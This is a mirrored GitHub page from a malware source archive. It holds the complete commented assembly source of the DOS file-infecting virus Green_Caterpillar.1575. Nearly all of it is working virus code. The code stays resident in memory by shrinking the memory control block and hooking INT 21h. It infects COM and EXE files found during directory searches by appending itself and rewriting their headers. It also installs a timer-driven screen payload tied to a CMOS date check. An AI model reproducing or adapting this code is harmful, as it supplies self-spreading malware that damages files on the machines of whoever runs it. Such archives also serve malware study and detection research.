mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
930 lines
16 KiB
NASM
930 lines
16 KiB
NASM
|
; Green_Caterpillar.1575.A
|
|||
|
; TASM /M
|
|||
|
|
|||
|
|
|||
|
seg000 segment byte public 'CODE'
|
|||
|
assume cs:seg000
|
|||
|
org 100h
|
|||
|
assume es:nothing, ss:nothing, ds:seg000
|
|||
|
|
|||
|
start proc near
|
|||
|
jmp short RealStart
|
|||
|
db 90h
|
|||
|
Int21Ofs dw 0
|
|||
|
Int21Seg dw 0
|
|||
|
Int1COfs dw 0
|
|||
|
Int1CSeg dw 0
|
|||
|
exeHeader dw 20CDh
|
|||
|
exeMOD dw 9090h
|
|||
|
exeDIV dw 0
|
|||
|
exeNumSeg dw 0
|
|||
|
exeHeadSize dw 0
|
|||
|
exeMinPara dw 0
|
|||
|
exeMaxPara dw 0
|
|||
|
exeSS dw 0
|
|||
|
exeSP dw 0
|
|||
|
exeCheckSum dw 0
|
|||
|
exeIP dw 0
|
|||
|
exeCS dw 0
|
|||
|
StartCS dw 0
|
|||
|
StartIP dw 0
|
|||
|
FileSizeHW dw 0
|
|||
|
FileSizeLW dw 0
|
|||
|
StoreSS dw 0
|
|||
|
DTAOffset dw 0
|
|||
|
DTASegment dw 0
|
|||
|
StartSS dw 0
|
|||
|
StoreBP dw 0
|
|||
|
StoreES dw 0
|
|||
|
Int24Seg dw 0
|
|||
|
Int24Ofs dw 0
|
|||
|
GenCounter db 16
|
|||
|
byte_0_13C db 7, 57h, 75h, 2, 5Ch, 7, 70h, 0, 16h, 0, 0BFh, 0Bh, 5Ch, 7, 70h, 0
|
|||
|
|
|||
|
RealStart:
|
|||
|
push es
|
|||
|
push ds
|
|||
|
mov ax, es
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
push cs
|
|||
|
pop es ; ES = CS
|
|||
|
assume es:seg000
|
|||
|
mov StoreES, ax
|
|||
|
mov ax, ss
|
|||
|
mov StoreSS, ax
|
|||
|
mov al, 2
|
|||
|
out 20h, al ; Interrupt controller, 8259A.
|
|||
|
cld
|
|||
|
xor ax, ax
|
|||
|
mov ds, ax ; DS points to IVT
|
|||
|
assume ds:nothing
|
|||
|
xor si, si
|
|||
|
mov di, 13Ch
|
|||
|
mov cx, 16
|
|||
|
repne movsb
|
|||
|
push ds
|
|||
|
pop ss ; SS = DS
|
|||
|
assume ss:nothing
|
|||
|
mov bp, 8
|
|||
|
xchg bp, sp
|
|||
|
call near ptr sub_0_1C5
|
|||
|
jmp StoreFilename
|
|||
|
start endp
|
|||
|
|
|||
|
FixupInts:
|
|||
|
call GetInt24Vecs
|
|||
|
call CheckInfection
|
|||
|
jz AlreadyInf ; Infected Already? Then JMP.
|
|||
|
mov al, ds:FileType
|
|||
|
push ax
|
|||
|
call InfectCOM
|
|||
|
pop ax
|
|||
|
mov ds:FileType, al
|
|||
|
jmp short RestoreFile
|
|||
|
nop
|
|||
|
|
|||
|
AlreadyInf:
|
|||
|
call GetIntVectors
|
|||
|
call CheckForInstall
|
|||
|
cmp ds:FileType, 0 ; No File Type?
|
|||
|
jnz RestoreFile ; No? Then JMP.
|
|||
|
mov ax, 4C00h
|
|||
|
int 21h ; Exit To DOS
|
|||
|
|
|||
|
RestoreFile: ; COM File?
|
|||
|
cmp ds:FileType, 'C'
|
|||
|
jnz RestoreEXE ; No? Then JMP.
|
|||
|
|
|||
|
RestoreCOM:
|
|||
|
pop ds
|
|||
|
assume ds:seg000
|
|||
|
pop es
|
|||
|
assume es:nothing
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
pop es
|
|||
|
push es
|
|||
|
mov di, offset start
|
|||
|
mov si, offset exeHeader
|
|||
|
mov cx, 12
|
|||
|
repne movsb ; Restore Original 12 Bytes
|
|||
|
push es
|
|||
|
pop ds ; DS = ES
|
|||
|
mov ax, offset start
|
|||
|
push ax
|
|||
|
xor ax, ax
|
|||
|
retf ; Return to Original COM Program
|
|||
|
|
|||
|
sub_0_1C5 proc far
|
|||
|
mov si, 6
|
|||
|
lodsw
|
|||
|
cmp ax, 192h
|
|||
|
jz RestoreCOM
|
|||
|
cmp ax, 179h
|
|||
|
jnz loc_0_1D6
|
|||
|
jmp loc_0_27F
|
|||
|
|
|||
|
loc_0_1D6:
|
|||
|
cmp ax, 1DCh
|
|||
|
jz RestoreEXE
|
|||
|
retn
|
|||
|
|
|||
|
RestoreEXE:
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
mov bx, cs:exeSS
|
|||
|
sub bx, cs:StartSS
|
|||
|
mov ax, cs
|
|||
|
sub ax, bx
|
|||
|
mov ss, ax
|
|||
|
assume ss:nothing
|
|||
|
mov bp, cs:StoreBP
|
|||
|
xchg bp, sp
|
|||
|
mov bx, cs:exeCS
|
|||
|
sub bx, cs:StartCS
|
|||
|
mov ax, cs
|
|||
|
sub ax, bx
|
|||
|
push ax
|
|||
|
mov ax, cs:StartIP
|
|||
|
push ax
|
|||
|
retf
|
|||
|
sub_0_1C5 endp
|
|||
|
|
|||
|
Caterpillar db '#'
|
|||
|
db 1Ah
|
|||
|
db '<'
|
|||
|
db '#'
|
|||
|
db '/'
|
|||
|
db '-'
|
|||
|
db '-'
|
|||
|
db '!'
|
|||
|
db '.'
|
|||
|
db '$'
|
|||
|
db 0Eh
|
|||
|
db '#'
|
|||
|
db '/'
|
|||
|
db '-'
|
|||
|
db '<27>'
|
|||
|
FileName db 'A:10KBYTE.EXE',0
|
|||
|
db 0 ;
|
|||
|
db 24h ; $
|
|||
|
db 24h ; $
|
|||
|
db 24h ; $
|
|||
|
db 24h ; $
|
|||
|
db 24h ; $
|
|||
|
|
|||
|
CheckInfection proc near
|
|||
|
mov ax, 3D02h
|
|||
|
mov dx, offset FileName
|
|||
|
int 21h ; Open File
|
|||
|
jnb CheckOpened ; No problems? Then JMP.
|
|||
|
clc
|
|||
|
retn
|
|||
|
|
|||
|
CheckOpened:
|
|||
|
mov StoreSS, ax
|
|||
|
mov dx, offset NewInt24
|
|||
|
mov ax, 2524h
|
|||
|
int 21h ; Set New Int 24h Vectors
|
|||
|
mov ax, 4202h
|
|||
|
mov bx, StoreSS
|
|||
|
mov cx, 0FFFFh
|
|||
|
mov dx, 0FFFEh
|
|||
|
int 21h ; Move Pointer to End of File - 1
|
|||
|
mov dx, offset CheckBytes
|
|||
|
mov ah, 3Fh
|
|||
|
mov bx, StoreSS
|
|||
|
mov cx, 2
|
|||
|
int 21h ; Read In 2 Bytes
|
|||
|
mov ah, 3Eh
|
|||
|
int 21h ; Close File
|
|||
|
push ds
|
|||
|
mov dx, Int24Ofs
|
|||
|
mov ax, Int24Seg
|
|||
|
mov ds, ax
|
|||
|
mov ax, 2524h
|
|||
|
int 21h ; Restore Int 24h Vectors
|
|||
|
pop ds
|
|||
|
cmp CheckBytes, 0A0Ch ; Infected Already?
|
|||
|
clc
|
|||
|
retn
|
|||
|
CheckInfection endp
|
|||
|
|
|||
|
CheckBytes dw 0
|
|||
|
|
|||
|
loc_0_27F:
|
|||
|
cmp ax, 22Dh
|
|||
|
jz InfectCOM
|
|||
|
push ds
|
|||
|
pop es ; ES = DS
|
|||
|
assume es:seg000
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
mov ax, StoreSS
|
|||
|
mov ss, ax ; SS = SS
|
|||
|
assume ss:nothing
|
|||
|
xchg bp, sp
|
|||
|
mov si, offset byte_0_13C
|
|||
|
mov di, 0
|
|||
|
mov cx, 16
|
|||
|
cld
|
|||
|
repne movsb
|
|||
|
jmp FixupInts
|
|||
|
|
|||
|
InfectCOM proc near
|
|||
|
mov al, 'C'
|
|||
|
mov FileType, al
|
|||
|
mov al, 8
|
|||
|
out 70h, al ; CMOS Memory:
|
|||
|
; used by real-time clock
|
|||
|
in al, 71h ; CMOS Memory
|
|||
|
mov GenCounter, al
|
|||
|
mov dx, offset FileName
|
|||
|
mov ax, 3D02h
|
|||
|
int 21h ; Open File
|
|||
|
jnb COMOpened ; No problems? Then JMP.
|
|||
|
retn
|
|||
|
|
|||
|
COMOpened: ; Store Handle
|
|||
|
mov StoreSS, ax
|
|||
|
mov dx, offset exeHeader
|
|||
|
mov bx, StoreSS
|
|||
|
mov cx, 12
|
|||
|
mov ah, 3Fh
|
|||
|
int 21h ; Read In 12 Bytes From File
|
|||
|
mov ax, 4202h
|
|||
|
xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
int 21h ; Move Pointer to End of File
|
|||
|
push ax
|
|||
|
add ax, 10h
|
|||
|
and ax, 0FFF0h
|
|||
|
push ax
|
|||
|
shr ax, 1
|
|||
|
shr ax, 1
|
|||
|
shr ax, 1
|
|||
|
shr ax, 1 ; Fix For Segment Size
|
|||
|
mov di, offset VirusFixedSeg
|
|||
|
stosw ; Store Segment Value
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
sub ax, bx
|
|||
|
mov cx, 1575
|
|||
|
add cx, ax
|
|||
|
mov dx, offset start
|
|||
|
sub dx, ax
|
|||
|
mov bx, StoreSS
|
|||
|
mov ah, 40h
|
|||
|
int 21h ; Write Virus to File
|
|||
|
mov ax, 4200h
|
|||
|
xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
int 21h ; Move Pointer to Beginning of File
|
|||
|
mov ah, 40h
|
|||
|
mov bx, StoreSS
|
|||
|
mov cx, 12
|
|||
|
mov dx, offset COMHeader
|
|||
|
int 21h ; Write COM Header to File
|
|||
|
mov ah, 3Eh
|
|||
|
mov bx, StoreSS
|
|||
|
int 21h ; Close File
|
|||
|
retn
|
|||
|
InfectCOM endp
|
|||
|
|
|||
|
COMHeader:
|
|||
|
push cs
|
|||
|
mov ax, cs
|
|||
|
PUSHOffset db 5
|
|||
|
VirusFixedSeg dw 0 ; PUSH Fixed Segment
|
|||
|
push ax
|
|||
|
mov ax, offset start
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
InfectEXE proc near
|
|||
|
mov al, 'E'
|
|||
|
mov FileType, al
|
|||
|
mov al, 8
|
|||
|
out 70h, al ; CMOS Memory:
|
|||
|
; used by real-time clock
|
|||
|
in al, 71h ; CMOS Memory
|
|||
|
mov GenCounter, al
|
|||
|
mov dx, offset FileName
|
|||
|
mov ax, 3D02h
|
|||
|
int 21h ; Open EXE File
|
|||
|
jnb EXEOpened ; No problems? Then JMP.
|
|||
|
retn
|
|||
|
|
|||
|
EXEOpened:
|
|||
|
mov StoreSS, ax
|
|||
|
mov dx, offset exeHeader
|
|||
|
mov bx, StoreSS
|
|||
|
mov cx, 24
|
|||
|
mov ah, 3Fh
|
|||
|
int 21h ; Read In 24 Bytes
|
|||
|
mov ax, 4202h
|
|||
|
mov cx, 0
|
|||
|
mov dx, 0
|
|||
|
int 21h ; Move pointer to End of File
|
|||
|
push ax
|
|||
|
add ax, 10h
|
|||
|
adc dx, 0
|
|||
|
and ax, 0FFF0h
|
|||
|
mov FileSizeHW, dx
|
|||
|
mov FileSizeLW, ax
|
|||
|
mov cx, 1831
|
|||
|
sub cx, 100h
|
|||
|
add ax, cx
|
|||
|
adc dx, 0
|
|||
|
mov cx, 512
|
|||
|
div cx
|
|||
|
inc ax
|
|||
|
mov exeDIV, ax
|
|||
|
mov exeMOD, dx
|
|||
|
mov ax, exeCS
|
|||
|
mov StartCS, ax
|
|||
|
mov ax, exeIP
|
|||
|
mov StartIP, ax
|
|||
|
mov ax, exeSS
|
|||
|
mov StartSS, ax
|
|||
|
mov ax, exeSP
|
|||
|
mov StoreBP, ax
|
|||
|
mov dx, FileSizeHW
|
|||
|
mov ax, FileSizeLW
|
|||
|
mov cx, 10h
|
|||
|
div cx
|
|||
|
sub ax, 10h
|
|||
|
sub ax, exeHeadSize
|
|||
|
mov exeCS, ax
|
|||
|
mov exeSS, ax
|
|||
|
mov exeIP, 100h
|
|||
|
mov exeSP, 100h
|
|||
|
mov ax, 4200h
|
|||
|
xor cx, cx
|
|||
|
mov dx, 2
|
|||
|
int 21h ; Move Pointer to Beginning + 2
|
|||
|
mov dx, offset exeMOD
|
|||
|
mov bx, StoreSS
|
|||
|
mov cx, 22
|
|||
|
mov ah, 40h
|
|||
|
int 21h ; Write New EXE Header
|
|||
|
mov ax, 4202h
|
|||
|
xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
int 21h ; Move Pointer to End Of File
|
|||
|
mov dx, 100h
|
|||
|
mov ax, FileSizeLW
|
|||
|
pop cx
|
|||
|
sub ax, cx
|
|||
|
sub dx, ax
|
|||
|
mov cx, 1831
|
|||
|
add cx, ax
|
|||
|
sub cx, 100h
|
|||
|
mov ah, 40h
|
|||
|
int 21h ; Write Virus To File
|
|||
|
mov ah, 3Eh
|
|||
|
int 21h ; Close File
|
|||
|
retn
|
|||
|
InfectEXE endp
|
|||
|
|
|||
|
FindFirstFile:
|
|||
|
push cx
|
|||
|
mov cx, 0
|
|||
|
mov ah, 4Eh
|
|||
|
int 21h ; Find First File
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
|
|||
|
GetIntVectors proc near
|
|||
|
push es
|
|||
|
mov ax, 351Ch
|
|||
|
int 21h ; Get Int 1Ch Vectors
|
|||
|
mov cs:Int1COfs, bx
|
|||
|
mov cs:Int1CSeg, es
|
|||
|
mov ax, 3521h
|
|||
|
int 21h ; Get Int 21h Vectors
|
|||
|
push es
|
|||
|
pop ax
|
|||
|
mov cs:Int21Seg, ax
|
|||
|
mov cs:Int21Ofs, bx
|
|||
|
pop es
|
|||
|
assume es:nothing
|
|||
|
retn
|
|||
|
GetIntVectors endp
|
|||
|
|
|||
|
CheckForInstall proc near
|
|||
|
push ax
|
|||
|
push es
|
|||
|
push ds
|
|||
|
xor ax, ax
|
|||
|
mov es, ax ; ES points to IVT
|
|||
|
assume es:nothing
|
|||
|
mov si, 86h
|
|||
|
mov ax, es:[si] ; Get Int 21h Segment
|
|||
|
mov ds, ax
|
|||
|
mov si, offset InfMarker
|
|||
|
cmp word ptr [si], 0A0Ch ; In Memory Already?
|
|||
|
jnz InstallVirus ; No? Then JMP.
|
|||
|
push ds
|
|||
|
pop ax
|
|||
|
call sub_0_601
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
assume es:nothing
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
InstallVirus:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax, StoreES
|
|||
|
dec ax
|
|||
|
mov es, ax ; ES points to MCB
|
|||
|
cmp byte ptr es:0, 'Z' ; Last MCB?
|
|||
|
jz GotLastMCB ; Yes? Then JMP.
|
|||
|
jmp short NotLastMCB
|
|||
|
nop
|
|||
|
|
|||
|
GotLastMCB: ; Get Amount of Memory in MCB
|
|||
|
mov ax, es:3
|
|||
|
CheckForInstall endp
|
|||
|
|
|||
|
mov cx, 1847
|
|||
|
shr cx, 1
|
|||
|
shr cx, 1
|
|||
|
shr cx, 1
|
|||
|
shr cx, 1 ; Calculate Paragraphs
|
|||
|
sub ax, cx ; Subtract 1847 Bytes
|
|||
|
jb NotLastMCB ; Enough Memory? No? Then JMP.
|
|||
|
mov es:3, ax ; Set New Amount of Memory in MCB
|
|||
|
sub es:12h, cx ; Set Next Segment Value
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
mov ax, es:12h
|
|||
|
push ax
|
|||
|
pop es ; ES points to Virus Segment
|
|||
|
mov si, offset start
|
|||
|
push si
|
|||
|
pop di
|
|||
|
mov cx, 1575
|
|||
|
cld
|
|||
|
repne movsb ; Copy Virus Into Memory
|
|||
|
push es
|
|||
|
sub ax, ax
|
|||
|
mov es, ax ; ES points to IVT
|
|||
|
assume es:nothing
|
|||
|
mov si, 84h
|
|||
|
mov dx, offset NewInt21
|
|||
|
mov es:[si], dx ; Set New Int 21h Offset
|
|||
|
inc si
|
|||
|
inc si
|
|||
|
pop ax
|
|||
|
mov es:[si], ax ; Set New Int 21h Segment
|
|||
|
|
|||
|
NotLastMCB:
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
assume es:nothing
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
NewInt21: ; Virus Calling?
|
|||
|
cmp al, 57h
|
|||
|
jnz CheckForDTACall ; No? Then JMP.
|
|||
|
jmp short JMPInt21
|
|||
|
nop
|
|||
|
|
|||
|
CheckForDTACall: ; Set New DTA Segment/Offset
|
|||
|
cmp ah, 1Ah
|
|||
|
jnz CheckFindFCB ; No? Then JMP.
|
|||
|
call StoreDTAVecs
|
|||
|
jmp short JMPInt21
|
|||
|
nop
|
|||
|
|
|||
|
CheckFindFCB: ; Find First File (FCB)?
|
|||
|
cmp ah, 11h
|
|||
|
jnz CheckFindNextMC ; No? Then JMP.
|
|||
|
call FindFirstFCB
|
|||
|
iret
|
|||
|
|
|||
|
CheckFindNextMC: ; Find Next File (FCB)?
|
|||
|
cmp ah, 12h
|
|||
|
jnz JMPInt21 ; No? Then JMP.
|
|||
|
call FindNextFCB
|
|||
|
iret
|
|||
|
|
|||
|
JMPInt21:
|
|||
|
jmp dword ptr cs:Int21Ofs
|
|||
|
|
|||
|
FindFirstFCB proc near
|
|||
|
mov al, 57h ; Virus Calling
|
|||
|
int 21h ; Find First File (FCB)
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push bx
|
|||
|
push bp
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
push cs
|
|||
|
pop es ; ES = CS
|
|||
|
assume es:seg000
|
|||
|
mov cs:InfectCount, 0
|
|||
|
nop
|
|||
|
call GetFilename
|
|||
|
jnz GotBadFile
|
|||
|
call CheckInfection
|
|||
|
jz GotBadFile
|
|||
|
call DoInfection
|
|||
|
dec InfectCount
|
|||
|
|
|||
|
GotBadFile:
|
|||
|
pop es
|
|||
|
assume es:nothing
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop bp
|
|||
|
pop bx
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
FindFirstFCB endp
|
|||
|
|
|||
|
GetFilename proc near
|
|||
|
push cs
|
|||
|
pop es ; ES = CS
|
|||
|
assume es:seg000
|
|||
|
push cs
|
|||
|
pop es ; ES = CS
|
|||
|
cld
|
|||
|
call StoreFilename
|
|||
|
jnb CheckExt ; No problems? Then JMP.
|
|||
|
cmp di, 0
|
|||
|
retn
|
|||
|
|
|||
|
CheckExt:
|
|||
|
mov di, offset FileName
|
|||
|
mov al, '.'
|
|||
|
mov cx, 11
|
|||
|
repne scasb ; Scan for File Extension
|
|||
|
cmp word ptr [di], 'OC' ; COM File?
|
|||
|
jnz CheckForEXE ; No? Then JMP.
|
|||
|
cmp byte ptr [di+2], 'M' ; COM File?
|
|||
|
jnz CheckForEXE ; No? Then JMP.
|
|||
|
mov FileType, 'C'
|
|||
|
nop
|
|||
|
retn
|
|||
|
|
|||
|
CheckForEXE: ; EXE File?
|
|||
|
cmp word ptr [di], 'XE'
|
|||
|
jnz BadFileType ; No? Then JMP.
|
|||
|
cmp byte ptr [di+2], 'E' ; EXE File?
|
|||
|
jnz BadFileType ; NO? Then JMP.
|
|||
|
mov FileType, 'E'
|
|||
|
nop
|
|||
|
|
|||
|
BadFileType:
|
|||
|
retn
|
|||
|
GetFilename endp
|
|||
|
|
|||
|
StoreFilename proc near
|
|||
|
push ds
|
|||
|
mov si, cs:DTAOffset
|
|||
|
mov ax, cs:DTASegment
|
|||
|
mov ds, ax
|
|||
|
mov di, offset FileName
|
|||
|
lodsb
|
|||
|
cmp al, 0FFh ; Extended FCB?
|
|||
|
jnz RegularFCB ; No? Then JMP.
|
|||
|
add si, 6 ; Add For Extended FCB
|
|||
|
lodsb ; Get First Character
|
|||
|
jmp short FileOnDrive
|
|||
|
nop
|
|||
|
|
|||
|
RegularFCB: ; Is this a file on a drive?
|
|||
|
cmp al, 5
|
|||
|
jb FileOnDrive ; Yes? Then JMP.
|
|||
|
pop ds
|
|||
|
stc
|
|||
|
retn
|
|||
|
|
|||
|
FileOnDrive:
|
|||
|
mov cx, 11
|
|||
|
cmp al, 0 ; End of Filename?
|
|||
|
jz EndOfName ; Yes? Then JMP.
|
|||
|
add al, 40h ; Capitalize Drive Letter
|
|||
|
stosb ; Store Drive Letter
|
|||
|
mov al, ':'
|
|||
|
stosb
|
|||
|
|
|||
|
EndOfName:
|
|||
|
lodsb
|
|||
|
cmp al, 20h ; End of Filename?
|
|||
|
jz EndOFFilename ; Yes? Then JMP.
|
|||
|
stosb ; Store Character
|
|||
|
jmp short GetNextChar
|
|||
|
nop
|
|||
|
|
|||
|
EndOFFilename:
|
|||
|
cmp byte ptr es:[di-1], '.'
|
|||
|
jz GetNextChar
|
|||
|
mov al, '.'
|
|||
|
stosb ; Store EXTENSION Marker
|
|||
|
|
|||
|
GetNextChar:
|
|||
|
loop EndOfName
|
|||
|
mov al, 0
|
|||
|
stosb ; Store End of Filename
|
|||
|
pop ds
|
|||
|
clc
|
|||
|
retn
|
|||
|
StoreFilename endp
|
|||
|
|
|||
|
FindNextFCB proc near
|
|||
|
mov al, 57h ; Virus Call
|
|||
|
int 21h ; Find Next File (FCB)
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push bx
|
|||
|
push bp
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
push cs
|
|||
|
pop es ; ES = CS
|
|||
|
cmp cs:InfectCount, 0 ; Infected one yet?
|
|||
|
jz CheckFile ; No? Then JMP.
|
|||
|
jmp short BadFile
|
|||
|
nop
|
|||
|
|
|||
|
CheckFile:
|
|||
|
call GetFilename
|
|||
|
jnz BadFile ; Bad? Then JMP.
|
|||
|
call CheckInfection
|
|||
|
jz BadFile ; Infected Already? Then JMP.
|
|||
|
call DoInfection
|
|||
|
dec InfectCount
|
|||
|
pop es
|
|||
|
assume es:nothing
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop bp
|
|||
|
pop bx
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
BadFile:
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop bp
|
|||
|
pop bx
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
FindNextFCB endp
|
|||
|
|
|||
|
InfectCount db 0
|
|||
|
|
|||
|
StoreDTAVecs proc near
|
|||
|
push ax
|
|||
|
push ds
|
|||
|
pop ax
|
|||
|
mov cs:DTASegment, ax
|
|||
|
mov cs:DTAOffset, dx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
StoreDTAVecs endp
|
|||
|
|
|||
|
GetInt24Vecs proc near
|
|||
|
push cs
|
|||
|
mov al, 0
|
|||
|
out 20h, al ; Interrupt controller, 8259A.
|
|||
|
mov ax, 3524h
|
|||
|
int 21h ; Get Int 24h Vectors
|
|||
|
mov Int24Ofs, bx
|
|||
|
mov bx, es
|
|||
|
mov Int24Seg, bx
|
|||
|
pop es
|
|||
|
mov si, offset Caterpillar
|
|||
|
mov di, offset FileName
|
|||
|
mov cx, 15
|
|||
|
|
|||
|
loc_0_5FA:
|
|||
|
lodsb
|
|||
|
add al, 20h
|
|||
|
stosb
|
|||
|
loop loc_0_5FA
|
|||
|
retn
|
|||
|
GetInt24Vecs endp
|
|||
|
|
|||
|
sub_0_601 proc near
|
|||
|
push ax
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
push cs
|
|||
|
pop es ; ES = CS
|
|||
|
assume es:seg000
|
|||
|
mov bl, GenCounter
|
|||
|
cmp bl, 0Ch
|
|||
|
ja loc_0_648
|
|||
|
cmp bl, 0
|
|||
|
jz loc_0_648
|
|||
|
mov al, 8
|
|||
|
out 70h, al ; CMOS Memory:
|
|||
|
; used by real-time clock
|
|||
|
in al, 71h ; CMOS Memory
|
|||
|
cmp al, 0Ch
|
|||
|
ja loc_0_648
|
|||
|
cmp al, 0
|
|||
|
jz loc_0_648
|
|||
|
cmp al, bl
|
|||
|
jz loc_0_648
|
|||
|
inc bl
|
|||
|
call CheckCounter
|
|||
|
cmp al, bl
|
|||
|
jz loc_0_648
|
|||
|
inc bl
|
|||
|
call CheckCounter
|
|||
|
cmp al, bl
|
|||
|
jz loc_0_648
|
|||
|
pop ds
|
|||
|
call FillWithSpace
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
retn
|
|||
|
sub_0_601 endp
|
|||
|
|
|||
|
CheckCounter proc near
|
|||
|
cmp bl, 12 ; Counter Below or Equal to 12?
|
|||
|
jbe Below12 ; Yes? Then JMP.
|
|||
|
sub bl, 12 ; Reset Counter
|
|||
|
|
|||
|
Below12:
|
|||
|
retn
|
|||
|
CheckCounter endp
|
|||
|
|
|||
|
loc_0_648:
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
DoInfection proc near
|
|||
|
mov dx, offset NewInt24
|
|||
|
mov ax, 2524h
|
|||
|
int 21h ; Set New Int 24h Vectors
|
|||
|
cmp FileType, 'C' ; COM File?
|
|||
|
jnz DoInfectEXE ; No? Then JMP.
|
|||
|
call InfectCOM
|
|||
|
jmp short InfectedFile
|
|||
|
nop
|
|||
|
|
|||
|
DoInfectEXE:
|
|||
|
call InfectEXE
|
|||
|
|
|||
|
InfectedFile:
|
|||
|
push ds
|
|||
|
mov dx, Int24Ofs
|
|||
|
mov ax, Int24Seg
|
|||
|
mov ds, ax
|
|||
|
mov ax, 2524h
|
|||
|
int 21h ; Restore Int 24h
|
|||
|
pop ds
|
|||
|
retn
|
|||
|
DoInfection endp
|
|||
|
|
|||
|
NewInt24:
|
|||
|
mov al, 3
|
|||
|
iret
|
|||
|
|
|||
|
FillWithSpace proc near
|
|||
|
mov dx, offset NewInt1C
|
|||
|
mov ax, 251Ch
|
|||
|
int 21h ; Set New Int 1Ch
|
|||
|
mov byte ptr NewInt1C, 90h
|
|||
|
nop
|
|||
|
mov ax, 0B800h
|
|||
|
mov es, ax ; ES points to Video Memory
|
|||
|
assume es:nothing
|
|||
|
mov di, 0FA0h
|
|||
|
mov ax, 720h
|
|||
|
mov cx, 11
|
|||
|
repne stosw
|
|||
|
push cs
|
|||
|
pop es ; ES = CS
|
|||
|
assume es:seg000
|
|||
|
retn
|
|||
|
FillWithSpace endp
|
|||
|
|
|||
|
db 0 ;
|
|||
|
db 0 ;
|
|||
|
byte_0_699 db 0
|
|||
|
word_0_69A dw 720h
|
|||
|
byte_0_69C db 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
|
|||
|
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h, 0Eh
|
|||
|
byte_0_6AE db 0EEh
|
|||
|
db 0Ch ;
|
|||
|
|
|||
|
NewInt1C:
|
|||
|
nop
|
|||
|
sti
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push bx
|
|||
|
push bp
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop ds ; DS = CS
|
|||
|
jmp short loc_0_6CA
|
|||
|
nop
|
|||
|
|
|||
|
loc_0_6C0:
|
|||
|
pop es
|
|||
|
assume es:nothing
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop bp
|
|||
|
pop bx
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
iret
|
|||
|
|
|||
|
loc_0_6CA:
|
|||
|
mov ax, 0B800h
|
|||
|
mov es, ax ; ES points to Video Memory
|
|||
|
assume es:nothing
|
|||
|
call sub_0_6FD
|
|||
|
mov si, offset word_0_69A
|
|||
|
mov cx, 22
|
|||
|
repne movsb
|
|||
|
cmp byte_0_6AE, 0EEh
|
|||
|
jz loc_0_6E9
|
|||
|
mov byte_0_6AE, 0EEh
|
|||
|
jmp short loc_0_6EE
|
|||
|
nop
|
|||
|
|
|||
|
loc_0_6E9:
|
|||
|
mov byte_0_6AE, 0F0h
|
|||
|
|
|||
|
loc_0_6EE:
|
|||
|
mov ax, es:[di]
|
|||
|
mov ah, 0Eh
|
|||
|
mov word_0_69A, ax
|
|||
|
mov byte_0_699, 0
|
|||
|
jmp short loc_0_6C0
|
|||
|
|
|||
|
sub_0_6FD proc near
|
|||
|
mov di, 0
|
|||
|
|
|||
|
loc_0_700:
|
|||
|
mov si, offset byte_0_69C
|
|||
|
push di
|
|||
|
mov cx, 18
|
|||
|
cld
|
|||
|
rep cmpsb
|
|||
|
pop di
|
|||
|
jz loc_0_718
|
|||
|
inc di
|
|||
|
inc di
|
|||
|
cmp di, 4000
|
|||
|
jnz loc_0_700
|
|||
|
mov di, 0
|
|||
|
|
|||
|
loc_0_718:
|
|||
|
cmp di, 3998
|
|||
|
jnz locret_0_723
|
|||
|
mov byte ptr NewInt1C, 0CFh
|
|||
|
|
|||
|
locret_0_723:
|
|||
|
retn
|
|||
|
sub_0_6FD endp
|
|||
|
|
|||
|
FileType db 0 ; E = EXE File C = COM File
|
|||
|
; 0 = 1st Generation
|
|||
|
InfMarker dw 0A0Ch
|
|||
|
seg000 ends
|
|||
|
|
|||
|
|
|||
|
end start
|